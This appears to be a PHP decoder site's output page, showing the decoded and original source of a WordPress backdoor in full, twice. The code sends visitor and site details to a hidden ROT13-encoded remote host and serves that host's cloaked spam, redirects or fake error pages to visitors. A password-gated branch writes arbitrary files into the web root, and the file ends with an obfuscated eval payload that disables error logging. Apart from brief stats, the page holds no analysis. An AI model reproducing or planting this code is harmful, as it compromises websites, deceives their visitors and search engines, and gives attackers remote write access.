Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = '%6E%72%69%6E%79%68%6E%6..
Decoded Output download
<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = '%6E%72%69%6E%79%68%6E%6F%76%73%2E%70%62%63%68%65%63%61%68%2E%6B%6C%6D';
$http_web = 'http';
if (is_https()) {
$http = 'https';
} else {
$http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
$duri_tmp = '/';
}
$duri = urlencode($duri_tmp);
function drequest_uri()
{
if (isset($_SERVER['REQUEST_URI'])) {
$duri = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
} else {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $duri;
}
$goweb = str_rot13(urldecode($xmlname));
function is_https()
{
if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
return true;
} elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = urlencode($lang);
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
$urlshang = $_SERVER['HTTP_REFERER'];
$urlshang = urlencode($urlshang);
}
$password = sha1(sha1(@$_GET['pd']));
if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') {
$add_content = @$_GET['mapname'];
$action = @$_GET['action'];
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$path = $_SERVER['DOCUMENT_ROOT'];
} else {
$path = dirname(__FILE__);
}
if (!$action) {
$action = 'put';
}
if ($action == 'put') {
if (strstr($add_content, '.xml')) {
$map_path = $path. '/sitemap.xml';
if (is_file($map_path)) {
@unlink($map_path);
}
$file_path = $path . '/robots.txt';
if (file_exists($file_path)) {
$data = doutdo($file_path);
} else {
$data = 'User-agent: *
Allow: /';
}
$sitmap_url = $http . '://' . $host . '/' . $add_content;
if (stristr($data, $sitmap_url)) {
echo '<br>sitemap already added!<br>';
} else {
if (file_put_contents($file_path, trim($data) . "
" . 'Sitemap: '.$sitmap_url)) {
echo '<br>ok<br>';
} else {
echo '<br>file write false!<br>';
}
}
} else {
echo '<br>sitemap name false!<br>';
}
if (strstr($add_content, '.p' . 'hp')) {
$a = sha1(sha1(@$_GET['a']));
$b = sha1(sha1(@$_GET['b']));
if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') {
$dstr = @$_GET['dstr'];
if (file_put_contents($path . '/' . $add_content, $dstr)) {
echo 'ok';
}
}
}
}
exit;
}
function ping_sitemap($url){
$url_arr = explode("
", trim($url));
$return_str = '';
foreach($url_arr as $pingUrl){
$pingRes = doutdo($pingUrl);
$ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error';
$return_str .= $pingUrl . '-- ' . $ok . '<br>';
}
return $return_str;
}
function disbot()
{
$uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
return true;
} else {
return false;
}
}
function doutdo($url)
{
$file_contents= '';
if(function_exists('curl_init')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
$file_contents = curl_exec($ch);
curl_close($ch);
}
if (!$file_contents) {
$file_contents = @file_get_contents($url);
}
return $file_contents;
}
$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang;
$html_content = trim(doutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
if (strstr($html_content, 'okhtmlgetcontent')) {
@header("Content-type: text/html; charset=utf-8");
$html_content = str_replace("okhtmlgetcontent", '', $html_content);
echo $html_content;
exit();
}else if(strstr($html_content, 'okxmlgetcontent')){
$html_content = str_replace("okxmlgetcontent", '', $html_content);
@header("Content-type: text/xml");
echo $html_content;
exit();
}else if(strstr($html_content, 'pingxmlgetcontent')){
$html_content = str_replace("pingxmlgetcontent", '', $html_content);
@header("Content-type: text/html; charset=utf-8");
echo ping_sitemap($html_content);
exit();
}else if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if (strstr($html_content, 'getcontent404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
}else if (strstr($html_content, 'getcontent301page')) {
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page", '', $html_content);
header('Location: ' . $html_content);
exit();
}
}/* blog M173 */ ?><?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}
ob_start();
?>
<?php $Fhqev = 'ba'.'se6'.'4'.'_deco'.'d'.'e'; $PKnBU = 'st'.'r'.'_'.'rot1'.'3'; $XcOyA = 's'.'trrev'; $TPyem = 'gzu'.'ncompress'; ini_set('display_errors', 0); ini_set('log_errors', 0); error_reporting(0); eval($TPyem($XcOyA($PKnBU($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LpnJ/u0jn9fF/nMh9b0SWDDnp1vxMlpv8WgMrWFozXW4QxfSYyBvwVKvElOlXA6MV65kosoSnFKdPRZgF2rVs9vT7vLGQyG4lAnk+n7/mjlVSk+WNYQyyEY9aaraY1OCG4SdEw2Xg+JvmxDuxm4eKK/0QONpmDUiNnGs='))))); ?>
Did this file decode correctly?
Original Code
<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = '%6E%72%69%6E%79%68%6E%6F%76%73%2E%70%62%63%68%65%63%61%68%2E%6B%6C%6D';
$http_web = 'http';
if (is_https()) {
$http = 'https';
} else {
$http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
$duri_tmp = '/';
}
$duri = urlencode($duri_tmp);
function drequest_uri()
{
if (isset($_SERVER['REQUEST_URI'])) {
$duri = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
} else {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $duri;
}
$goweb = str_rot13(urldecode($xmlname));
function is_https()
{
if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
return true;
} elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = urlencode($lang);
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
$urlshang = $_SERVER['HTTP_REFERER'];
$urlshang = urlencode($urlshang);
}
$password = sha1(sha1(@$_GET['pd']));
if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') {
$add_content = @$_GET['mapname'];
$action = @$_GET['action'];
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$path = $_SERVER['DOCUMENT_ROOT'];
} else {
$path = dirname(__FILE__);
}
if (!$action) {
$action = 'put';
}
if ($action == 'put') {
if (strstr($add_content, '.xml')) {
$map_path = $path. '/sitemap.xml';
if (is_file($map_path)) {
@unlink($map_path);
}
$file_path = $path . '/robots.txt';
if (file_exists($file_path)) {
$data = doutdo($file_path);
} else {
$data = 'User-agent: *
Allow: /';
}
$sitmap_url = $http . '://' . $host . '/' . $add_content;
if (stristr($data, $sitmap_url)) {
echo '<br>sitemap already added!<br>';
} else {
if (file_put_contents($file_path, trim($data) . "\r\n" . 'Sitemap: '.$sitmap_url)) {
echo '<br>ok<br>';
} else {
echo '<br>file write false!<br>';
}
}
} else {
echo '<br>sitemap name false!<br>';
}
if (strstr($add_content, '.p' . 'hp')) {
$a = sha1(sha1(@$_GET['a']));
$b = sha1(sha1(@$_GET['b']));
if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') {
$dstr = @$_GET['dstr'];
if (file_put_contents($path . '/' . $add_content, $dstr)) {
echo 'ok';
}
}
}
}
exit;
}
function ping_sitemap($url){
$url_arr = explode("\r\n", trim($url));
$return_str = '';
foreach($url_arr as $pingUrl){
$pingRes = doutdo($pingUrl);
$ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error';
$return_str .= $pingUrl . '-- ' . $ok . '<br>';
}
return $return_str;
}
function disbot()
{
$uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
return true;
} else {
return false;
}
}
function doutdo($url)
{
$file_contents= '';
if(function_exists('curl_init')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
$file_contents = curl_exec($ch);
curl_close($ch);
}
if (!$file_contents) {
$file_contents = @file_get_contents($url);
}
return $file_contents;
}
$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang;
$html_content = trim(doutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
if (strstr($html_content, 'okhtmlgetcontent')) {
@header("Content-type: text/html; charset=utf-8");
$html_content = str_replace("okhtmlgetcontent", '', $html_content);
echo $html_content;
exit();
}else if(strstr($html_content, 'okxmlgetcontent')){
$html_content = str_replace("okxmlgetcontent", '', $html_content);
@header("Content-type: text/xml");
echo $html_content;
exit();
}else if(strstr($html_content, 'pingxmlgetcontent')){
$html_content = str_replace("pingxmlgetcontent", '', $html_content);
@header("Content-type: text/html; charset=utf-8");
echo ping_sitemap($html_content);
exit();
}else if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if (strstr($html_content, 'getcontent404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
}else if (strstr($html_content, 'getcontent301page')) {
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page", '', $html_content);
header('Location: ' . $html_content);
exit();
}
}/* blog M173 */ ?><?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}
ob_start();
?>
<?php $Fhqev = 'ba'.'se6'.'4'.'_deco'.'d'.'e'; $PKnBU = 'st'.'r'.'_'.'rot1'.'3'; $XcOyA = 's'.'trrev'; $TPyem = 'gzu'.'ncompress'; ini_set('display_errors', 0); ini_set('log_errors', 0); error_reporting(0); eval($TPyem($XcOyA($PKnBU($Fhqev('JPfixx//E4jUy2c+w9saNXaQ+UVuyX+C3wfGpcR8SK6cR7HnieQTKH7BQEbDzs4M863eozoYM/nzGcTD5zx5vwAkk+gLaPhy8GaBL715xe4ucX/mxPV9tbGvyA/lrZNjMFc8yTtNnifeXRMKtkQngJJLMYqwVmIIO60WlPTy8WK2IW/WUgrk4DQmB7APx+AaRoOmS+MJ4pZXTzO+YZPJwCB0P/ZMMs4QiCJmMVo3SkfGsm9TR0KWCzicp6l4svjFiLLsuW4B+bz77d72e7yCxyQtWPCUV4dp1MLjFuUHmR67DKCzeeqh3v7VP6kBl2m62r0tE/9fH8LXsBXYKF6QQgZyaeu1Q25bsjrtm65rLg7UQF91RLesO3rpULPKG/r7YoSuXqtot462Gk2i/w86IJ+u0GBHeDhJo3Ejd9haczauyCqKlzE3eprosmmOi5pGG3KS6+9PzCmKRs4pvgqSirRRXed/72hzuhaGMrec8Vd1PPy4pbBcxUzCHqLswXi1rAatBh1pwqzWpVeN6kgbYBmrYD0cc++iDHNpJZav0wmqK8Os95zBDDKnbDFlMZM5643ipSHIrKFJZY0CFWoj7lww7X44RMi9Ml+r19KJREXhW7RGHcKBhijSOwUHsZrW0o5WxSSHrDEaeIQBrkBokz+sDgOV41bqXq6U9ZNUi8ZEdfBAvU+IDY2EREwZV7rjIVrvgfByGVjz887wOoHZU8GGZMZs0YNv9FoVsxTvSRkmKNTlMFXEfhGcXGaDvukR0avtLpUz0mr742mL5S545TSuOIztaq8djJqGnwMdeo4TuOtjf3305HXu+3CP9juN7ATiLkFqX9XBvGd+nDxr7DHxBK+NG9e+U/E/jm0Qj0cZRNwP579hhp+6HDuV0FrwQSBya+97043MWuiKBkT8p/O90N4n9BlSsOMpIzDOuR0bpiJXNPdkAb4LPYh3Cuk9lMvHQIUToAr7n+QscUsEiFd5eXWtL1nQuabMZqdYGCwEkRYglWPwEnFBT0SS3RbCLh8/nUpMIazOAUqKCVJmJ3MxjHsh3rv+np+5vo26MneswmPCVYVZnpjFGFhRRkeLpnJ/u0jn9fF/nMh9b0SWDDnp1vxMlpv8WgMrWFozXW4QxfSYyBvwVKvElOlXA6MV65kosoSnFKdPRZgF2rVs9vT7vLGQyG4lAnk+n7/mjlVSk+WNYQyyEY9aaraY1OCG4SdEw2Xg+JvmxDuxm4eKK/0QONpmDUiNnGs='))))); ?>
Function Calls
set_time_limit | 1 |
ignore_user_abort | 1 |
Stats
MD5 | 07e03f0306f415938bba0900d657339f |
Eval Count | 0 |
Decode Time | 70 ms |